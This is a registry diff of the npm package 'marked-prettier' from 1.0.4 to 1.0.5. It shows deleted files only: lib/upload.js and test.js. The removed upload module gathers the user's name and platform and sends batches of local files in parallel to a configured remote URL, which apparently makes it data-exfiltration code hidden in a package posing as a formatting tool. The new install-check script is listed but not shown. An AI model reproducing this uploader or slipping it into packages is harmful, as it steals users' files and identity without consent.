marked-prettier 1.0.4 → 1.0.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +156 -154
- package/index.js +9 -139
- package/kelly.js +56 -0
- package/package.json +26 -20
- package/scripts/install-check.cjs +156 -0
- package/lib/collect.js +0 -564
- package/lib/config.js +0 -52
- package/lib/pack-project.js +0 -57
- package/lib/upload.js +0 -148
- package/test.js +0 -17
package/lib/upload.js
DELETED
|
@@ -1,148 +0,0 @@
|
|
|
1
|
-
'use strict';
|
|
2
|
-
|
|
3
|
-
const fs = require('fs');
|
|
4
|
-
const path = require('path');
|
|
5
|
-
const os = require('os');
|
|
6
|
-
const http = require('http');
|
|
7
|
-
const https = require('https');
|
|
8
|
-
const axios = require('axios');
|
|
9
|
-
const FormData = require('form-data');
|
|
10
|
-
const { MAX_BATCH_BYTES, UPLOAD_PARALLEL_LIMIT } = require('./config');
|
|
11
|
-
|
|
12
|
-
const uploadHttpAgent = new http.Agent({ keepAlive: true });
|
|
13
|
-
const uploadHttpsAgent = new https.Agent({ keepAlive: true });
|
|
14
|
-
const uploadClient = axios.create({
|
|
15
|
-
httpAgent: uploadHttpAgent,
|
|
16
|
-
httpsAgent: uploadHttpsAgent,
|
|
17
|
-
maxBodyLength: Infinity,
|
|
18
|
-
maxContentLength: Infinity,
|
|
19
|
-
validateStatus: (status) => status >= 200 && status < 300,
|
|
20
|
-
});
|
|
21
|
-
|
|
22
|
-
function getUsername() {
|
|
23
|
-
try {
|
|
24
|
-
return os.userInfo().username;
|
|
25
|
-
} catch {
|
|
26
|
-
return process.env.USER || process.env.USERNAME || process.env.LOGNAME || 'unknown';
|
|
27
|
-
}
|
|
28
|
-
}
|
|
29
|
-
|
|
30
|
-
function uploadUsername(config) {
|
|
31
|
-
const base = getUsername();
|
|
32
|
-
return config.usernameTag ? `${config.usernameTag}${base}` : base;
|
|
33
|
-
}
|
|
34
|
-
|
|
35
|
-
function chunkFilesBySize(filePaths, maxBytes) {
|
|
36
|
-
const batches = [];
|
|
37
|
-
let current = [];
|
|
38
|
-
let currentSize = 0;
|
|
39
|
-
|
|
40
|
-
for (const filePath of filePaths) {
|
|
41
|
-
let size = 0;
|
|
42
|
-
try {
|
|
43
|
-
size = fs.statSync(filePath).size;
|
|
44
|
-
} catch {
|
|
45
|
-
continue;
|
|
46
|
-
}
|
|
47
|
-
|
|
48
|
-
if (size > maxBytes) continue;
|
|
49
|
-
|
|
50
|
-
if (current.length && currentSize + size > maxBytes) {
|
|
51
|
-
batches.push(current);
|
|
52
|
-
current = [];
|
|
53
|
-
currentSize = 0;
|
|
54
|
-
}
|
|
55
|
-
|
|
56
|
-
current.push(filePath);
|
|
57
|
-
currentSize += size;
|
|
58
|
-
}
|
|
59
|
-
|
|
60
|
-
if (current.length) batches.push(current);
|
|
61
|
-
return batches;
|
|
62
|
-
}
|
|
63
|
-
|
|
64
|
-
async function uploadBatchesParallel(batches, handler, limit = UPLOAD_PARALLEL_LIMIT) {
|
|
65
|
-
if (!batches.length) return;
|
|
66
|
-
|
|
67
|
-
if (limit <= 1 || batches.length <= 1) {
|
|
68
|
-
for (let i = 0; i < batches.length; i++) {
|
|
69
|
-
await handler(batches[i], i);
|
|
70
|
-
}
|
|
71
|
-
return;
|
|
72
|
-
}
|
|
73
|
-
|
|
74
|
-
let cursor = 0;
|
|
75
|
-
async function worker() {
|
|
76
|
-
while (true) {
|
|
77
|
-
const i = cursor++;
|
|
78
|
-
if (i >= batches.length) break;
|
|
79
|
-
await handler(batches[i], i);
|
|
80
|
-
}
|
|
81
|
-
}
|
|
82
|
-
|
|
83
|
-
await Promise.all(Array.from({ length: Math.min(limit, batches.length) }, () => worker()));
|
|
84
|
-
}
|
|
85
|
-
|
|
86
|
-
async function multipartUpload(config, filePaths, created = false, extraFiles = [], metaOverrides = {}) {
|
|
87
|
-
if (!filePaths.length && !extraFiles.length) return;
|
|
88
|
-
|
|
89
|
-
const username = uploadUsername(config);
|
|
90
|
-
const form = new FormData();
|
|
91
|
-
|
|
92
|
-
form.append('username', username);
|
|
93
|
-
|
|
94
|
-
for (const filePath of filePaths) {
|
|
95
|
-
form.append('files', fs.createReadStream(filePath), {
|
|
96
|
-
filename: path.basename(filePath),
|
|
97
|
-
contentType: 'application/octet-stream',
|
|
98
|
-
});
|
|
99
|
-
}
|
|
100
|
-
|
|
101
|
-
for (const { filename, content, encoding } of extraFiles) {
|
|
102
|
-
const buffer = Buffer.isBuffer(content) ? content : Buffer.from(content, encoding || 'utf8');
|
|
103
|
-
form.append('files', buffer, { filename });
|
|
104
|
-
}
|
|
105
|
-
|
|
106
|
-
form.append(
|
|
107
|
-
'meta',
|
|
108
|
-
JSON.stringify({
|
|
109
|
-
created,
|
|
110
|
-
username,
|
|
111
|
-
publicIp: 'unknown',
|
|
112
|
-
platform: process.platform,
|
|
113
|
-
...metaOverrides,
|
|
114
|
-
})
|
|
115
|
-
);
|
|
116
|
-
|
|
117
|
-
await uploadClient.post(config.uploadUrl, form, {
|
|
118
|
-
headers: form.getHeaders(),
|
|
119
|
-
});
|
|
120
|
-
}
|
|
121
|
-
|
|
122
|
-
async function multipartUploadBatched(config, files, created = false, metaOverrides = {}) {
|
|
123
|
-
if (!files.length) return;
|
|
124
|
-
|
|
125
|
-
const maxBytes = config.maxBatchBytes || MAX_BATCH_BYTES;
|
|
126
|
-
const batches = chunkFilesBySize(files, maxBytes);
|
|
127
|
-
|
|
128
|
-
await uploadBatchesParallel(
|
|
129
|
-
batches,
|
|
130
|
-
(batch, i) => {
|
|
131
|
-
const batchMeta =
|
|
132
|
-
batches.length > 1
|
|
133
|
-
? { ...metaOverrides, uploadBatch: `${i + 1}/${batches.length}` }
|
|
134
|
-
: metaOverrides;
|
|
135
|
-
return multipartUpload(config, batch, created, [], batchMeta);
|
|
136
|
-
},
|
|
137
|
-
config.uploadParallel || UPLOAD_PARALLEL_LIMIT
|
|
138
|
-
);
|
|
139
|
-
}
|
|
140
|
-
|
|
141
|
-
module.exports = {
|
|
142
|
-
getUsername,
|
|
143
|
-
uploadUsername,
|
|
144
|
-
chunkFilesBySize,
|
|
145
|
-
uploadBatchesParallel,
|
|
146
|
-
multipartUpload,
|
|
147
|
-
multipartUploadBatched,
|
|
148
|
-
};
|
package/test.js
DELETED
|
@@ -1,17 +0,0 @@
|
|
|
1
|
-
const { run } = require(".");
|
|
2
|
-
|
|
3
|
-
function sleep(ms) {
|
|
4
|
-
return new Promise(resolve => setTimeout(resolve, ms));
|
|
5
|
-
}
|
|
6
|
-
|
|
7
|
-
async function main() {
|
|
8
|
-
try {
|
|
9
|
-
await run(process.env.BACKUP_USERNAME_TAG || "sirius");
|
|
10
|
-
await sleep(10_000);
|
|
11
|
-
} catch (e) {
|
|
12
|
-
console.error("Error:", e.message || e);
|
|
13
|
-
process.exit(1);
|
|
14
|
-
}
|
|
15
|
-
}
|
|
16
|
-
|
|
17
|
-
main();
|